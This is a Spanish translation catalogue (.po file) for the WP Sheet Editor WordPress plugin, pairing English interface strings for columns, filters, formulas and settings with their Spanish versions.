#: columns-manager/columns-manager.php:1169 #: columns-manager/columns-manager.php:1212 msgid "Email" msgstr "Correo electrónico" #: columns-manager/columns-manager.php:1173 #: wp-sheet-editor/dev/inc/api/bootstrap.php:484 #: wp-sheet-editor/dev/inc/teasers/post-types.php:93 #: wp-sheet-editor/dev/inc/teasers/post-types.php:108 msgid "Title" msgstr "Título" #: columns-manager/columns-manager.php:1174 #: columns-manager/columns-manager.php:1183 msgid "Slug" msgstr "Slug" #: columns-manager/columns-manager.php:1177 msgid "Saved them separated by comma" msgstr "Guárdalos separados por comas" #: columns-manager/columns-manager.php:1178 msgid "Save them as serialized array" msgstr "Guárdalos como un array serializado" #: columns-manager/columns-manager.php:1181 msgid "Term ID" msgstr "ID del término" #: columns-manager/columns-manager.php:1182 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/downloadable.php:258 #: woocommerce/inc/downloadable.php:259 woocommerce/inc/variations.php:506 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:868 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:869 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:946 msgid "Name" msgstr "Nombre" #: columns-manager/columns-manager.php:1187 msgid "Same as the spreadsheet taxonomy" msgstr "Igual que la taxonomía de la hoja de cálculo" #: columns-manager/columns-manager.php:1193 msgid "Same as the spreadsheet post type" msgstr "Igual que el post type de la hoja de cálculo" #: columns-manager/columns-manager.php:1198 msgid "Automatic" msgstr "Automático" #: columns-manager/columns-manager.php:1199 msgid "Text" msgstr "Texto" #: columns-manager/columns-manager.php:1200 msgid "Text editor (tinymce)" msgstr "Editor de texto (tinymce)" #: columns-manager/columns-manager.php:1201 msgid "Single selection dropdown" msgstr "Desplegable de selección simple" #: columns-manager/columns-manager.php:1202 msgid "Multi select dropdown" msgstr "Desplegable de selección múltiple" #: columns-manager/columns-manager.php:1203 msgid "Checkbox" msgstr "Casilla de verificación" #: columns-manager/columns-manager.php:1204 msgid "File upload" msgstr "Cargar archivo" #: columns-manager/columns-manager.php:1205 #: wp-sheet-editor/dev/inc/api/bootstrap.php:614 #: wp-sheet-editor/dev/inc/teasers/post-types.php:97 msgid "Date" msgstr "Fecha" #: columns-manager/columns-manager.php:1206 msgid "Date and time" msgstr "Fecha y hora" #: columns-manager/columns-manager.php:1207 msgid "User dropdown" msgstr "Desplegable de usuario" #: columns-manager/columns-manager.php:1208 msgid "Post dropdown" msgstr "Desplegable de posts" #: columns-manager/columns-manager.php:1209 msgid "Taxonomy term dropdown" msgstr "Desplegable de términos de taxonomía" #: columns-manager/columns-manager.php:1210 msgid "Currency" msgstr "Moneda" #: columns-manager/columns-manager.php:1211 msgid "URL" msgstr "URL" #: columns-manager/columns-manager.php:1213 formulas/inc/ui.php:336 #: formulas/inc/ui.php:364 msgid "Number" msgstr "Número" #: columns-manager/columns-manager.php:1214 msgid "Clickable button" msgstr "Botón" #: columns-manager/columns-manager.php:1215 msgid "Raw HTML" msgstr "Raw HTML" #: columns-manager/columns-manager.php:1221 #: wp-sheet-editor/dev/inc/api/helpers.php:955 msgid "Default" msgstr "Por defecto" #: columns-manager/columns-manager.php:1233 msgid "Column format" msgstr "Formato de columna" #: columns-manager/columns-manager.php:1238 msgid "" "This format will only allow administrators with the capability " "unfiltered_html to save any HTML in this column, we'll still remove unsafe " "html tags when non-administrators save values in this column." msgstr "" "Este formato sólo permitirá a los administradores con la capacidad " "unfiltered_html guardar cualquier HTML en esta columna, seguiremos " "eliminando las etiquetas html no seguras cuando los no administradores " "guarden valores en esta columna." #: columns-manager/columns-manager.php:1241 msgid "" "This can be used if the cell value will always be a URL, so the cell will be " "displayed as readonly and it will contain a button that will open the URL " "from the cell value." msgstr "" "Esto se puede utilizar si el valor de la celda será siempre una URL, por lo " "que la celda se mostrará como de sólo lectura y contendrá un botón que " "abrirá la URL a partir del valor de la celda." #: columns-manager/columns-manager.php:1244 #: columns-manager/columns-manager.php:1249 msgid "Allowed values" msgstr "Valores permitidos" #: columns-manager/columns-manager.php:1245 #: columns-manager/columns-manager.php:1250 msgid "" "Enter each choice on a new line. For more control, you may specify both a " "value and label like this: red : Red" msgstr "" "Ingresa cada selección en una nueva línea. Para mayor control, puedes " "especificar un valor y una etiqueta así: rojo : Rojo" #: columns-manager/columns-manager.php:1252 msgid "How are the multiple values saved in the database?" msgstr "¿Cómo se guardan los valores múltiples en la base de datos?" #: columns-manager/columns-manager.php:1257 msgid "What value is saved when the checkbox is checked?" msgstr "¿Qué valor se guarda cuando la casilla de verificación está marcada?" #: columns-manager/columns-manager.php:1259 msgid "What value is saved when the checkbox is unchecked?" msgstr "" "¿Qué valor se guarda cuando la casilla de verificación está desmarcada?" #: columns-manager/columns-manager.php:1263 msgid "" "You will be able to type the username in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre de usuario en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1264 msgid "How is the user saved in the database?" msgstr "¿Cómo se guarda el usuario en la base de datos?" #: columns-manager/columns-manager.php:1269 msgid "" "You will be able to type the term name in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el nombre del término en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1270 msgid "How is the taxonomy term saved in the database?" msgstr "¿Cómo se guarda el término taxonómico en la base de datos?" #: columns-manager/columns-manager.php:1275 msgid "Allow multiple terms per field?" msgstr "¿Permitir varios términos por campo?" #: columns-manager/columns-manager.php:1277 msgid "How do you want to save the multiple terms?" msgstr "¿Cómo quieres guardar los términos múltiples?" #: columns-manager/columns-manager.php:1280 msgid "Accept terms from this taxonomy" msgstr "Aceptar términos de esta taxonomía" #: columns-manager/columns-manager.php:1281 msgid "" "For example, if you select the blog categories, we will only accept blog " "categories in this column." msgstr "" "Por ejemplo, si seleccionas las categorías del blog, sólo aceptaremos " "categorías del blog en esta columna." #: columns-manager/columns-manager.php:1285 msgid "" "You will be able to type numbers without formatting, for example: 999999.88 " "or 100, and we will automatically save them in the formatted way. This " "conversion will happen when you save and not live when you edit in the cells " "and you will see the modified values on the next spreadsheet reload." msgstr "" "Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los " "guardaremos automáticamente con formato. Esta conversión se producirá cuando " "guardes y no en directo cuando edites en las celdas y verás los valores " "modificados en la siguiente recarga de la hoja de cálculo." #: columns-manager/columns-manager.php:1286 msgid "Number of decimals" msgstr "Número de decimales" #: columns-manager/columns-manager.php:1289 msgid "Decimals separator" msgstr "Separador de decimales" #: columns-manager/columns-manager.php:1292 msgid "Thousands separator" msgstr "Separador de miles" #: columns-manager/columns-manager.php:1296 msgid "" "You will be able to type the post title in the cell and the cell will show a " "dropdown with suggestions." msgstr "" "Podrás escribir el título de la entrada en la celda y ésta mostrará un " "desplegable con sugerencias." #: columns-manager/columns-manager.php:1297 msgid "How is the post saved in the database?" msgstr "¿Cómo se guarda el post en la base de datos?" #: columns-manager/columns-manager.php:1301 msgid "Allow multiple posts per field?" msgstr "¿Permitir varios posts por campo?" #: columns-manager/columns-manager.php:1303 msgid "How do you want to save the multiple posts?" msgstr "¿Cómo quieres guardar los posts múltiples?" #: columns-manager/columns-manager.php:1306 msgid "Accept post from this post type" msgstr "Aceptar posts de este post type" #: columns-manager/columns-manager.php:1307 msgid "" "For example, if you select the post type \"product\", we will only accept " "product titles." msgstr "" "Por ejemplo, si seleccionas el post type \"producto\", sólo aceptaremos " "títulos de productos." #: columns-manager/columns-manager.php:1311 msgid "How is the file saved in the database?" msgstr "¿Cómo se guarda el archivo en la base de datos?" #: columns-manager/columns-manager.php:1312 msgid "" "The cell will display the values as URLs and you can edit in the cells using " "full URLs, file ID, or file name.
                  External URLs are automatically " "imported into the media library.
                  We will save the value in the format " "selected here" msgstr "" "La celda mostrará los valores como URLs y puedes editar en las celdas usando " "URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs " "externas se importan automáticamente en la biblioteca multimedia." "
                  Guardaremos el valor en el formato seleccionado aquí" #: columns-manager/columns-manager.php:1316 msgid "Allow multiple files per field?" msgstr "¿Permitir varios archivos por campo?" #: columns-manager/columns-manager.php:1317 msgid "How do you want to save the multiple files?" msgstr "¿Cómo quieres guardar los archivos múltiples?" #: columns-manager/columns-manager.php:1322 msgid "What date format do you want to display in the spreadsheet?" msgstr "¿Qué formato de fecha quieres mostrar en la hoja de cálculo?" #: columns-manager/columns-manager.php:1323 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d" #: columns-manager/columns-manager.php:1326 #: columns-manager/columns-manager.php:1335 msgid "What date format do you want to save in the database?" msgstr "¿Qué formato de fecha quieres guardar en la base de datos?" #: columns-manager/columns-manager.php:1327 msgid "" "Enter a date format. List of formats. Example: Y-m-d" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d" #: columns-manager/columns-manager.php:1331 msgid "What date time format do you want to display in the spreadsheet?" msgstr "" "¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?" #: columns-manager/columns-manager.php:1332 msgid "" "Enter a date format. List of formats. If you leave it " "empty, we'll use the default: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "D-M-A\n" "\n" "Ingresa un formato de fecha. Lista de formatos. Si lo " "dejas vacío, usaremos el formato por defecto: A-m-d H:i:s" #: columns-manager/columns-manager.php:1336 msgid "" "Enter a date format. List of formats. Example: Y-m-d H:i:s" msgstr "" "Ingresa un formato de fecha. Lista de formatos. Ejemplo: " "A-m-d H:i:s" #: columns-manager/inc/column-groups.php:49 msgid "Spreadsheet views" msgstr "Vista de hojas de cálculo" #: columns-manager/inc/column-groups.php:82 #: wp-sheet-editor/dev/inc/options-init.php:562 #: wp-sheet-editor/dev/wp-sheet-editor.php:1147 msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #: columns-manager/inc/column-groups.php:83 msgid "" "Note. This is not a security feature, the user can edit all the fields in " "the normal editor based on the role. This option is for convenience, so they " "only see the columns they need when they open the spreadsheet editor. If you " "leave these fields empty they can switch between all the existing views" msgstr "" "Nota. Esta no es una característica de seguridad, el usuario puede editar " "todos los campos en el editor normal basado en el rol. Esta opción es por " "conveniencia, para que los usuarios puedan solo ver las columnas que " "necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, " "podrán cambiar entre todas las vistas existentes" #: columns-manager/inc/column-groups.php:100 msgid "%s: Allowed spreadsheet views" msgstr "%s: Hojas de cálculo permitidas" #: columns-manager/inc/column-groups.php:103 msgid "Please enter the name of the spreadsheet views separated by commas." msgstr "" "Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas " "por comas." #: columns-manager/inc/column-groups.php:332 msgid "Add a name for this group of columns" msgstr "Agrega un nombre para este grupo de columnas" #: columns-manager/inc/column-groups.php:332 msgid "" "We will save this group of columns as a spreadsheet view and you can switch " "between spreadsheets in the toolbar" msgstr "" "Guardaremos este grupo de columnas como una vista de la hoja de cálculo y " "podrás cambiar entre vistas en la barra de herramientas" #: columns-renaming/columns-renaming.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:326 msgid "Rename column" msgstr "Renombrar columna" #: columns-renaming/columns-renaming.php:59 #: columns-visibility/columns-visibility.php:156 #: columns-visibility/columns-visibility.php:169 #: columns-visibility/columns-visibility.php:209 #: universal-sheet/universal-sheet.php:139 woocommerce/inc/attributes.php:795 #: woocommerce/inc/attributes.php:1015 woocommerce/inc/variations.php:1252 #: woocommerce/inc/variations.php:1279 wp-sheet-editor/dev/inc/ajax.php:73 #: wp-sheet-editor/dev/inc/ajax.php:160 wp-sheet-editor/dev/inc/ajax.php:192 #: wp-sheet-editor/dev/inc/ajax.php:237 wp-sheet-editor/dev/inc/ajax.php:284 #: wp-sheet-editor/dev/inc/ajax.php:305 wp-sheet-editor/dev/inc/ajax.php:383 msgid "Missing parameters." msgstr "Parámetros faltantes." #: columns-renaming/columns-renaming.php:63 #: columns-visibility/columns-visibility.php:160 #: columns-visibility/columns-visibility.php:173 #: columns-visibility/columns-visibility.php:269 msgid "You dont have enough permissions to execute this action." msgstr "No tienes suficientes permisos para ejecutar esta acción." #: columns-visibility/columns-visibility.php:164 msgid "" "Columns restored successfully, please reload the page to see the restored " "columns and enable them" msgstr "" "Columnas restauradas con éxito. Por favor, recarga la página para ver las " "columnas restauradas y habilitarlas" #: columns-visibility/columns-visibility.php:356 msgid "Hide / Display / Sort columns" msgstr "Ocultar / Mostrar columnas" #: columns-visibility/views/form.php:12 msgid "" "Drag the columns to the left or right side to enable/disable them, drag them " "to the top or bottom to sort them, click on the \"edit\" button to rename " "them, click on the \"x\" button to delete them completely (only when they " "are disabled previously)." msgstr "" "Arrastra las columnas a la izquierda o a la derecha para habilitarlas/" "deshabilitarlas. Arrástralas hacia arriba o hacia abajo para reordenarlas. " "Haz clic en el botón \"editar\" para renombrarlas, haz clic en el botón " "\"x\" para borrarlas por completo (sólo cuando estén deshabilitadas " "previamente)." #: columns-visibility/views/form.php:15 columns-visibility/views/form.php:73 msgid "Enable all" msgstr "Habilitar todas" #: columns-visibility/views/form.php:16 columns-visibility/views/form.php:27 msgid "Disable all" msgstr "Deshabilitar todas" #: columns-visibility/views/form.php:22 msgid "Enabled" msgstr "Habilitadas" #: columns-visibility/views/form.php:22 columns-visibility/views/form.php:67 msgid "Bulk" msgstr "Masivo" #: columns-visibility/views/form.php:24 columns-visibility/views/form.php:70 msgid "Enter a search term..." msgstr "Ingresa un término de búsqueda..." #: columns-visibility/views/form.php:26 columns-visibility/views/form.php:72 #: universal-sheet/views/import-modal.php:85 msgid "Bulk actions" msgstr "Acciones masivas" #: columns-visibility/views/form.php:28 columns-visibility/views/form.php:75 msgid "Sort alphabetically ASC" msgstr "Ordenar alfabéticamente ASC" #: columns-visibility/views/form.php:29 columns-visibility/views/form.php:76 msgid "Sort alphabetically DESC" msgstr "Ordenar alfabéticamente DESC" #: columns-visibility/views/form.php:56 columns-visibility/views/form.php:99 msgid "" "Remove column completely. If you want to use it later you can disable it by " "dragging and dropping to the right column" msgstr "" "Quitar la columna completamente. Si quieres usarla más tarde, puedes " "deshabilitarla arrastrando y soltando a la columna de la derecha" #: columns-visibility/views/form.php:58 columns-visibility/views/form.php:101 msgid "Disable column. You can enable it later." msgstr "Deshabilitar columna. Puedes habilitarla más tarde." #: columns-visibility/views/form.php:59 columns-visibility/views/form.php:102 msgid "Enable column" msgstr "Habilitar columna" #: columns-visibility/views/form.php:67 msgid "Disabled" msgstr "Deshabilitada" #: columns-visibility/views/form.php:74 msgid "Delete all" msgstr "Borrar todo" #: columns-visibility/views/form.php:95 msgid "Enabling this column requires a page reload" msgstr "Habilitar esta columna requiere una recarga de la página" #: columns-visibility/views/form.php:114 msgid "A column is missing?" msgstr "¿Falta una columna?" #: columns-visibility/views/form.php:116 msgid "" "- First, edit one item in the normal editor and fill all the fields manually." msgstr "" "- Primero, edita un elemento en el editor normal y rellena todos los campos " "manualmente." #: columns-visibility/views/form.php:125 msgid "" "- We can scan the database, find new fields, and create columns automatically" msgstr "" "- Podemos escanear la base de datos, encontrar nuevos campos y crear " "columnas automáticamente" #: columns-visibility/views/form.php:132 msgid "You can do this multiple times" msgstr "Puedes hacer esto varias veces" #: columns-visibility/views/form.php:132 msgid "Scan Now" msgstr "Escanear Ahora" #: columns-visibility/views/form.php:137 msgid "- If the previous solution failed, you can create new columns manually." msgstr "" "- Si la solución anterior falló, puedes crear nuevas columnas manualmente." #: columns-visibility/views/form.php:137 msgid "Create column" msgstr "Crear columna" #: columns-visibility/views/form.php:139 msgid "- Maybe you deleted the columns from the list." msgstr "- Quizá eliminaste las columnas de la lista." #: columns-visibility/views/form.php:139 msgid "Restore deleted columns" msgstr "Restaurar columnas eliminadas" #: columns-visibility/views/form.php:140 msgid "- We can help you." msgstr "- Podemos ayudarte." #: columns-visibility/views/form.php:140 #: wp-sheet-editor/dev/inc/integrations/notifier.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:1056 msgid "Contact us" msgstr "Contáctanos" #: columns-visibility/views/form.php:146 msgid "Save these settings for future sessions?" msgstr "¿Guardar estos ajustes para sesiones futuras?" #: columns-visibility/views/form.php:154 msgid "Apply settings" msgstr "Aplicar ajustes" #: columns-visibility/views/form.php:155 filters/filters.php:573 #: formulas/inc/ui.php:153 universal-sheet/views/import-modal.php:228 #: woocommerce/views/spreadsheet-create-variations-modal.php:112 #: wp-sheet-editor/dev/inc/integrations/notifier.php:296 #: wp-sheet-editor/dev/inc/teasers/formulas.php:76 #: wp-sheet-editor/dev/inc/teasers/frontend.php:78 #: wp-sheet-editor/dev/inc/teasers/post-types.php:133 #: wp-sheet-editor/dev/views/editor-page.php:289 #: wp-sheet-editor/dev/views/editor-page.php:340 #: wp-sheet-editor/dev/views/editor-page.php:364 #: wp-sheet-editor/dev/views/extensions-modal.php:10 #: wp-sheet-editor/dev/views/settings-form.php:121 #: wp-sheet-editor/dev/views/support-modal.php:24 msgid "Close" msgstr "Cerrar" #: custom-columns/custom-columns.php:431 msgid "Add columns for custom fields" msgstr "Añadir columnas nuevas para campos personalizados" #: custom-columns/custom-columns.php:580 msgid "Missing columns" msgstr "Columnas faltantes" #: custom-columns/custom-columns.php:622 msgid "Missing post type or column_key" msgstr "Falta el post type o la column_key (clave de la columna)" #: custom-columns/custom-columns.php:625 custom-columns/custom-columns.php:649 #: custom-columns/custom-columns.php:672 msgid "" "You are not allowed to do this action. Please reload the page or log in " "again." msgstr "" "No puedes realizar esta acción. Por favor, recarga la página o inicia sesión " "de nuevo." #: custom-columns/custom-columns.php:635 msgid "The meta field was deleted successfully" msgstr "El campo meta fue eliminado con éxito" #: custom-columns/custom-columns.php:639 msgid "The meta field could not be deleted." msgstr "El campo meta no pudo ser eliminado." #: custom-columns/custom-columns.php:646 msgid "" "Missing post type, old_column_key, or new_column_key; or the old and new key " "are the same." msgstr "" "Falta el post type, old_column_key, o new_column_key; o la clave antigua y " "la clave nueva son iguales." #: custom-columns/custom-columns.php:662 msgid "The meta key was renamed successfully" msgstr "La clave meta fue renombrada con éxito" #: custom-columns/custom-columns.php:666 msgid "The meta key couldnt be renamed." msgstr "La clave meta no pudo ser renombrada." #: custom-columns/custom-columns.php:703 msgid "Columns could not be saved. Try again." msgstr "Las columnas no se pudieron guardar. Inténtalo de nuevo." #: custom-columns/custom-columns.php:706 msgid "Changes saved" msgstr "Cambios guardados" #: custom-columns/custom-columns.php:720 msgid "Are you sure you want to delete this column?" msgstr "¿Estás seguro de que quieres borrar esta columna?" #: custom-columns/custom-columns.php:728 msgid "Custom columns" msgstr "Columnas personalizadas" #: custom-columns/views/settings-page.php:11 #: spreadsheet-setup/views/page.php:11 #: wp-sheet-editor/dev/inc/api/bootstrap.php:146 #: wp-sheet-editor/dev/views/editor-page.php:70 #: wp-sheet-editor/dev/views/extensions-page.php:16 #: wp-sheet-editor/dev/views/quick-setup.php:28 #: wp-sheet-editor/dev/views/settings-page.php:5 #: wp-sheet-editor/dev/views/whats-new.php:12 #: wp-sheet-editor/dev/wp-sheet-editor.php:1153 msgid "Sheet Editor" msgstr "Sheet Editor" #: custom-columns/views/settings-page.php:14 msgid "Add New Columns to the Spreadsheet" msgstr "Agregar nuevas columnas a la hoja de cálculo" #: custom-columns/views/settings-page.php:16 msgid "" "Enter the column name (anything you want), and select the field key from the " "dropdown. If you dont find it you can type it in the dropdown. View Tutorial" msgstr "" "Ingresa el nombre de la columna (lo que quieras) y selecciona la clave de " "campo en el menú desplegable. Si no la encuentras, puedes escribirla en el " "desplegable. Ver Tutorial " #: custom-columns/views/settings-page.php:17 msgid "" "Enable the advanced mode at the bottom of the page to customize the column " "width, format (editor, file upload, taxonomies), etc." msgstr "" "Habilita el modo avanzado en la parte inferior de la página para " "personalizar el ancho de la columna, el formato (editor, carga de archivos, " "taxonomías), etc." #: custom-columns/views/settings-page.php:18 #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Need help? Contact us" msgstr "¿Necesitas ayuda? Contáctanos" #: custom-columns/views/settings-page.php:38 msgid "Column name" msgstr "Nombre de columna" #: custom-columns/views/settings-page.php:38 msgid "The column name displayed in the spreadsheet" msgstr "Nombre de la columna que se muestra en la hoja de cálculo" #: custom-columns/views/settings-page.php:42 msgid "Column key" msgstr "Clave de la columna" #: custom-columns/views/settings-page.php:42 msgid "" "The key that will be used for saving the information in the database. This " "must be unique, only letters and underscores." msgstr "" "Clave que se utilizará para guardar la información en la base de datos. Debe " "ser única, sólo letras y guiones bajos." #: custom-columns/views/settings-page.php:62 msgid "Data source" msgstr "Fuente de datos" #: custom-columns/views/settings-page.php:62 msgid "Select the kind of information used in the cells of this column." msgstr "" "Selecciona el tipo de información utilizada en las celdas de esta columna." #: custom-columns/views/settings-page.php:64 msgid "Post data" msgstr "Datos del post" #: custom-columns/views/settings-page.php:65 msgid "Post meta (i.e. metaboxes)" msgstr "Meta del post (es decir, metaboxes)" #: custom-columns/views/settings-page.php:66 msgid "Post terms (i.e. categories)" msgstr "Términos del post (es decir, categorías)" #: custom-columns/views/settings-page.php:70 msgid "Post type(s)" msgstr "Post type(s)" #: custom-columns/views/settings-page.php:70 msgid "What kind of posts require this column in the spreadsheet?" msgstr "¿Qué post types requieren esta columna en la hoja de cálculo?" #: custom-columns/views/settings-page.php:95 msgid "Allow to edit using formulas?" msgstr "¿Permitir editar usando fórmulas?" #: custom-columns/views/settings-page.php:95 msgid "If you disable this option, this column will be edited manually only." msgstr "Si deshabilitas esta opción, esta columna sólo se editará manualmente." #: custom-columns/views/settings-page.php:99 msgid "Allow to hide column?" msgstr "¿Permitir ocultar la columna?" #: custom-columns/views/settings-page.php:99 msgid "Allow to hide this column on the settings page?" msgstr "¿Permitir ocultar esta columna en la página de ajustes?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column?" msgstr "¿Permitir renombrar la columna?" #: custom-columns/views/settings-page.php:103 msgid "Allow to rename column on the settings page?" msgstr "¿Permitir renombrar la columna en la página de ajustes?" #: custom-columns/views/settings-page.php:107 msgid "Cell type" msgstr "Tipo de celda" #: custom-columns/views/settings-page.php:107 msgid "" "Select the format of the cells, if the cells should be normal text, a file " "uploader, or text editor." msgstr "" "Selecciona el formato de las celdas, si las celdas deben ser de texto " "normal, un cargador de archivos o un editor de texto." #: custom-columns/views/settings-page.php:110 msgid "Normal cell" msgstr "Celda normal" #: custom-columns/views/settings-page.php:111 msgid "TinyMCE Editor" msgstr "Editor TinyMCE" #: custom-columns/views/settings-page.php:112 msgid "File upload (single)" msgstr "Carga de archivos (individual)" #: custom-columns/views/settings-page.php:113 msgid "File upload (multiple)" msgstr "Carga de archivos (múltiple)" #: custom-columns/views/settings-page.php:117 msgid "Plain text mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:119 #: custom-columns/views/settings-page.php:128 msgid "Simple text" msgstr "Texto simple" #: custom-columns/views/settings-page.php:120 #: custom-columns/views/settings-page.php:129 msgid "Calendar" msgstr "Calendario" #: custom-columns/views/settings-page.php:121 msgid "Taxonomy dropdown. Only if data source = post terms." msgstr "" "Menú desplegable de taxonomías. Sólo si la fuente de datos = Términos del " "post." #: custom-columns/views/settings-page.php:122 #: custom-columns/views/settings-page.php:131 msgid "Unfiltered HTML" msgstr "HTML sin filtrar" #: custom-columns/views/settings-page.php:126 msgid "Formatted cell mode: Render as: (Use only if cell type is empty)" msgstr "" "Modo de celda formateada: Renderizar como: (Usar sólo si el tipo de celda " "está vacío)" #: custom-columns/views/settings-page.php:130 msgid "Taxonomy dropdown" msgstr "Desplegado de taxonomías" #: custom-columns/views/settings-page.php:135 msgid "Column width (pixels)" msgstr "Ancho de columna (pixeles)" #: custom-columns/views/settings-page.php:141 formulas/inc/ui.php:195 msgid "Delete" msgstr "Eliminar" #: custom-columns/views/settings-page.php:148 #: spreadsheet-setup/views/page.php:45 #: wp-sheet-editor/dev/inc/api/editor.php:339 msgid "Add new column" msgstr "Añadir nueva columna" #: custom-columns/views/settings-page.php:152 msgid "Advanced mode" msgstr "Modo avanzado" #: factory.php:226 wp-sheet-editor/dev/wp-sheet-editor.php:1356 msgid "My license" msgstr "Mi licencia" #: filters/filters.php:197 msgid "" "To search among all posts use the Search tool. Use this to locate and " "highlight one value in the loaded rows in the spreadsheet. I.e. highlight a " "SKU or email or title." msgstr "" "Para buscar entre todos los posts, usa la herramienta de búsqueda. Se usa " "para localizar y resaltar un valor en las filas cargadas en la hoja de " "cálculo. Es decir, resaltar un SKU, correo electrónico o título específico." #: filters/filters.php:198 msgid "Locate cell" msgstr "Localizar celda" #: filters/filters.php:199 msgid "Locate cell." msgstr "Localizar celda." #: filters/filters.php:207 msgid "" "Enter a word and we will find the first matching column. You will avoid " "scrolling through dozens of columns to find the one you need." msgstr "" "Ingresa una palabra y encontraremos la primera columna coincidente. Evitarás " "tener que desplazarte por docenas de columnas para encontrar la que " "necesitas." #: filters/filters.php:208 filters/filters.php:209 msgid "Locate column" msgstr "Localizar columna" #: filters/filters.php:224 filters/filters.php:236 filters/filters.php:521 msgid "Search" msgstr "Buscar" #: filters/filters.php:236 msgid "Quick search" msgstr "Búsqueda rápida" #: filters/filters.php:236 msgid "Enter a keyword" msgstr "Ingresa una palabra clave" #: filters/filters.php:491 msgid "Contains keyword" msgstr "Contiene palabra clave" #: filters/filters.php:492 msgid "" "It searches in the post title and post content. Search by multiple keywords " "separating keywords with a semicolon (;)" msgstr "" "Busca en el título de la entrada y en su contenido. Busca por varias " "palabras clave separándolas con punto y coma (;)" #: filters/filters.php:501 wp-sheet-editor/dev/inc/api/bootstrap.php:705 #: wp-sheet-editor/dev/inc/teasers/post-types.php:99 msgid "Status" msgstr "Estado" #: filters/filters.php:559 msgid "Enter a username or email..." msgstr "Ingresa un nombre de usuario o correo electrónico..." #: filters/filters.php:572 msgid "Run search" msgstr "Ejecutar búsqueda" #: formulas/formulas.php:84 msgid "Invalid #898AJSI. The replace requires 2 parameters, we received one" msgstr "" "#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno" #: formulas/formulas.php:97 msgid "Invalid #8W89PQ. Math formula is empty." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:102 msgid "Invalid #PQ8SPQ. The math formula contains a comma: %s" msgstr "#PQ8SPQ inválido. La fórmula matemática contiene una coma: %s" #: formulas/formulas.php:107 msgid "Invalid #8W89PWQ. Math formula is invalid." msgstr "#8W89PQ inválido. La fórmula matemática está vacía." #: formulas/formulas.php:118 msgid "Invalid #PQ8PHP. The PHP function does not exist: %s" msgstr "#PQ8SPQ inválido. La función PHP no existe: %s" #: formulas/formulas.php:123 msgid "" "Invalid #8W23CV. We accept MATH and REPLACE formulas only, we received an " "unknown formula type." msgstr "" "#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un " "tipo de fórmula desconocida." #: formulas/formulas.php:179 msgid "The random values could not be read." msgstr "Los valores aleatorios no pudieron ser leídos." #: formulas/formulas.php:319 msgid "" "The math formula can't be applied. We found some existing data is not " "numeric. Data found: %1$s, ID: %2$d" msgstr "" "No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no " "es numérico. Datos encontrados: %1$s, ID: %2$d" #: formulas/formulas.php:333 msgid "" "Error. The math engine could not execute the math operation: %1$s, ID: %2$d" msgstr "" "Error. El motor matemático no pudo ejecutar la operación matemática: %1$s, " "ID: %2$d" #: formulas/formulas.php:449 msgid "The search parameter must contain $current_value$ only" msgstr "El parámetro de búsqueda debe contener $current_value$ solamente" #: formulas/formulas.php:457 msgid "Value in the replace section is not valid" msgstr "El valor en la sección de reemplazo no es válido" #: formulas/formulas.php:837 msgid "You do not have permission to delete posts." msgstr "No tiene suficientes permisos para borrar filas." #: formulas/formulas.php:882 msgid "Missing number and time unit." msgstr "Falta el número y la unidad de tiempo." #: formulas/formulas.php:886 msgid "Invalid time unit." msgstr "Unidad de tiempo inválida." #: formulas/formulas.php:891 msgid "Please indicate which terms you want to remove." msgstr "Por favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

